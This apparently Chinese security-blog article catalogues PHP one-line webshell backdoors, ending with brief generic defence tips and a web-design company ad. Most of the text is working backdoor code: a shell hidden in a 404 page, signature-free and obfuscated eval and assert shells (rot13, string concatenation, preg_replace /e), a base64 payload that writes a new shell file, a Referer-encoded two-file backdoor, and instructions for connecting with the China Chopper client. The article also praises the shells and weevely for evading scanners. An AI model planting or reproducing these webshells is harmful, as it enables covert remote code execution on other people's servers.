強(qiáng)悍的PHP一句話后門

這類后門讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進(jìn)行各種檢測(cè),而很多新出現(xiàn)的編寫技術(shù),用普通的檢測(cè)方法是沒法發(fā)現(xiàn)并處理的。今天我們細(xì)數(shù)一些有意思的PHP一句話木馬。

利用404頁(yè)面隱藏PHP小馬:

<!DOCTYPE HTML PUBLIC  "-//IETF//DTD HTML 2.0//EN" > 
<html><head> 
<title>404 Not Found</title> 
</head><body> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
</body></html> 
<?php 
@preg_replace( "/[pageerror]/e" , $_POST [ 'error' ], "saft" ); 
header( 'HTTP/1.1 404 Not Found' ); 
?>

404頁(yè)面是網(wǎng)站常用的文件,一般建議好后很少有人會(huì)去對(duì)它進(jìn)行檢查修改,這時(shí)我們可以利用這一點(diǎn)進(jìn)行隱藏后門。

無(wú)特征隱藏PHP一句話:

<?php 
session_start(); 
$_POST [ 'code' ] &&  $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); 
$_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); 
?>

將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒有特征碼。用掃描工具來(lái)檢查代碼的話,是不會(huì)報(bào)警的,達(dá)到目的了。

超級(jí)隱蔽的PHP后門:

<?php  $_GET [a]( $_GET [b]);?>

僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不可小視,簡(jiǎn)簡(jiǎn)單單的一句話,被延伸到這般應(yīng)用。

層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門:
此方法用兩個(gè)文件實(shí)現(xiàn),文件1

<?php 
//1.php 
header( 'Content-type:text/html;charset=utf-8' ); 
parse_str ( $_SERVER [ 'HTTP_REFERER' ],  $a ); 
if (reset( $a ) ==  '10' &&  count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( " " ,  "+" , implode( array_slice ( $a , 6))))); 
} 
?>

文件2

<?php 
//2.php 
header( 'Content-type:text/html;charset=utf-8' ); 
//要執(zhí)行的代碼 
$code = <<<CODE 
phpinfo(); 
CODE; 
//進(jìn)行base64編碼 
$code =  base64_encode ( $code ); 
//構(gòu)造referer字符串 
$referer =  "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后門url 
$url =  'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options =  array ( 
CURLOPT_URL =>  $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER =>  $referer
); 
curl_setopt_array( $ch ,  $options ); 
echocurl_exec( $ch ); 
?>

PHP后門生成工具weevely
weevely是一款針對(duì)PHP的webshell的自由軟件,可用于模擬一個(gè)類似于telnet的連接shell,weevely通常用于web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來(lái)代替web 頁(yè)面式的管理,weevely生成的服務(wù)器端php代碼是經(jīng)過(guò)了base64編碼的,所以可以騙過(guò)主流的殺毒軟件和IDS,上傳服務(wù)器端代碼后通??梢酝ㄟ^(guò)weevely直接運(yùn)行。
weevely所生成的PHP后門所使用的方法是現(xiàn)在比較主流的base64加密結(jié)合字符串變形技術(shù),后門中所使用的函數(shù)均是常用的字符串處理函數(shù),被作為檢查規(guī)則的eval,system等函數(shù)都不會(huì)直接出現(xiàn)在代碼中,從而可以致使后門文件繞過(guò)后門查找工具的檢查。使用暗組的Web后門查殺工具進(jìn)行掃描,結(jié)果顯示該文件無(wú)任何威脅。
以上是大概介紹,相關(guān)使用方法亦家就不在這介紹了,簡(jiǎn)單的科普一下。
三個(gè)變形的一句話PHP木馬
第一個(gè)

<?php ( $_ =@ $_GET [2]).@ $_ ( $_POST [1])?>

在菜刀里寫http://site/1.php?2=assert密碼是1
第二個(gè)

<?php 
$_ = "" ; 
$_ [+ "" ]= '' ; 
$_ = "$_" . "" ; 
$_ =( $_ [+ "" ]| "" ).( $_ [+ "" ]| "" ).( $_ [+ "" ]^ "" ); 
?> 
<?php ${ '_' . $_ }[ '_' ](${ '_' . $_ }[ '__' ]);?>

在菜刀里寫http://site/2.php?=assert&_=eval($_POST['pass']) 密碼是pass。如果你用菜刀的附加數(shù)據(jù)的話更隱蔽,或者用其它注射工具也可以,因?yàn)槭莗ost提交的。
第三個(gè)

( $b4dboy =  $_POST [ 'b4dboy' ]) && @preg_replace( '/ad/e' , '@' . str_rot13 ( 'riny' ). '($b4dboy)' ,  'add' );

str_rot13(‘riny’)即編碼后的eval,完全避開了關(guān)鍵字,又不失效果,讓人吐血!

最后列幾個(gè)高級(jí)的PHP一句話木馬后門

1、 
$hh =  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ; 
$hh ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); 
//菜刀一句話 

2、 
$filename = $_GET [ 'xbid' ]; 
include ( $filename ); 
//危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行 

3、 
$reg = "c" . "o" . "p" . "y" ; 
$reg ( $_FILES [MyFile][tmp_name], $_FILES [MyFile][name]); 
//重命名任何文件 

4、 
$gzid =  "p" . "r" . "e" . "g" . "_" . "r" . "e" . "p" . "l" . "a" . "c" . "e" ; 
$gzid ( "/[discuz]/e" , $_POST [ 'h' ], "Access" ); 
//菜刀一句話 

5、 include ( $uid ); 
//危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif 
//gif插一句話 

6、典型一句話 
<?php eval_r( $_POST [sb])?> 
<?php @eval_r( $_POST [sb])?> 
<?php assert( $_POST [sb]);?> 
//使用lanker一句話客戶端的專家模式執(zhí)行相關(guān)的php語(yǔ)句 
<? $_POST [ 'sa' ]( $_POST [ 'sb' ]);?> 
<? $_POST [ 'sa' ]( $_POST [ 'sb' ], $_POST [ 'sc' ])?> 
<?php 
@preg_replace( "/[email]/e" , $_POST [ 'h' ], "error" ); 
?> 

//使用這個(gè)后,使用菜刀一句話客戶端在配置連接的時(shí)候在"配置"一欄輸入 
程序代碼 
<O>h=@eval_r( $_POST1 );</O> 
<script language= "php" >@eval_r( $_POST [sb])</script> 
//繞過(guò)<?限制的一句話

綜上,這些PHP一句話后門可謂五臟俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點(diǎn)就在下邊的總結(jié)!

如何應(yīng)對(duì)PHP一句話后門:
我們強(qiáng)調(diào)幾個(gè)關(guān)鍵點(diǎn),看這文章的你相信不是門外漢,我也就不啰嗦了:
1,對(duì)PHP程序編寫要有安全意識(shí)
2,服務(wù)器日志文件要經(jīng)??矗?jīng)常備份
3,對(duì)每個(gè)站點(diǎn)進(jìn)行嚴(yán)格的權(quán)限分配
4,對(duì)動(dòng)態(tài)文件及目錄經(jīng)常批量安全審查
5,學(xué)會(huì)如何進(jìn)行手工殺毒《即行為判斷查殺》
6,時(shí)刻關(guān)注,或滲入活躍的網(wǎng)絡(luò)安全營(yíng)地
7,對(duì)服務(wù)器環(huán)境層級(jí)化處理,哪怕一個(gè)函數(shù)也可做規(guī)則

  哈爾濱品用軟件有限公司致力于為哈爾濱的中小企業(yè)制作大氣、美觀的優(yōu)秀網(wǎng)站,并且能夠搭建符合百度排名規(guī)范的網(wǎng)站基底,使您的網(wǎng)站無(wú)需額外費(fèi)用,即可穩(wěn)步提升排名至首頁(yè)。歡迎體驗(yàn)最佳的哈爾濱網(wǎng)站建設(shè)。